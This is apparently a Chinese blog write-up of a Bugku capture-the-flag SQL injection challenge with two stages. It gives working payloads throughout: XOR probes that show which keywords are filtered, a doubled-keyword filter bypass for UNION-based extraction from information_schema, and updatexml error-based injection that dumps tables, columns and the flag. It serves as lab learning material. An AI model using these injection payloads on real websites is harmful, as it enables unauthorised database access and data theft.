bugkuctf 多次,sql2注入2

本文记录了一次Bugkuctf的SQL注入挑战,涉及报错注入、过滤字符判断、盲注等技术。通过分析错误信息和过滤规则,成功找到了绕过策略并获取关键数据。
摘要由CSDN通过智能技术生成

这道题有两个关卡,主要是学到了点儿报错注入判断过滤,这里就记录一下
以为这个注入会与id的选取有所关系,爆破了一下,发现当id=5时,出现了如下的界面

但是,后面的尝试,发现注入的话,与id=5没啥大的关系
本题给我以后的注入提供了思路,我会首先判断’号的报错以及注释符的选取后,尝试找到哪些数据被过滤掉了。
当我们输入’
在这里插入图片描述
尝试闭合:’#,失败了,’%23,%27%23,’–+

尝试输入有多少列,获取字段信息 'order by 5%23

发现它出错了,这里可能对某些数据进行了过滤,测试一下

id=5'^(0)%23

id=5'^(1)%23


当id=5时,如上图,当id=1时,出现错误,这是因为id后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后id变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行,我们可以利用这个进行判断哪些字符被过滤掉了,输入

id=1'^(length('union')!=0)%23


回显正常,说明union被过滤了,而双写之后却又报错,但是部分大写却又回显正常,说明大小写的union都被过滤了,所以确定为双写绕过。
**经测试,过滤的有 union select or and **

重新得到字段信息

id=1'oorr by 3%23
id=1'oorr by 2%23



说明只有两列,确定注入点儿

id=-1' ununionion selselectect 1,2%23

在这里插入图片描述
说明2这个位置是注入点,我们对它进行查询操作

id=-1'ununionion selselectect 1,database()%23                                       web1002-1
id=-1'uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23                                                                 flag1,hint
id=-1'uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1")%23                                                                            flag1,address
id=-1'uniunionon selselectect 1,flag1 from flag1%23                                  usOwycTju+FTUUzXosjr

提交得到的flag错误了,还有个address的字段,提出来

点进去得到下一关:

**试了试,这个竟然能直接用order by **

当输入order by 2时,没有报错,说明也是两列字段,下面判断它的过滤信息

id=1'^(length('union')!=0)%23

union又被过滤了,同时发现双写是绕不过去的,因为在括号里面输入ununionion时,数据完全没有回显,和输入没有过滤的字符显示结果不一样。
经过测试,被过滤的有union sleep substr

那么不能用union,能用select,所以可以尝试updataxml报错注入

xml报错注入

首先,得到数据库名

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23


得到表名和字段名

id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
~class,flag2~

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e),1)%23
~flag2,address~

id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23
~flag{Bugku-sql_6s-2i-4t-bug}~

得到flag,提交时注意提示

还有一种报错注入


                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值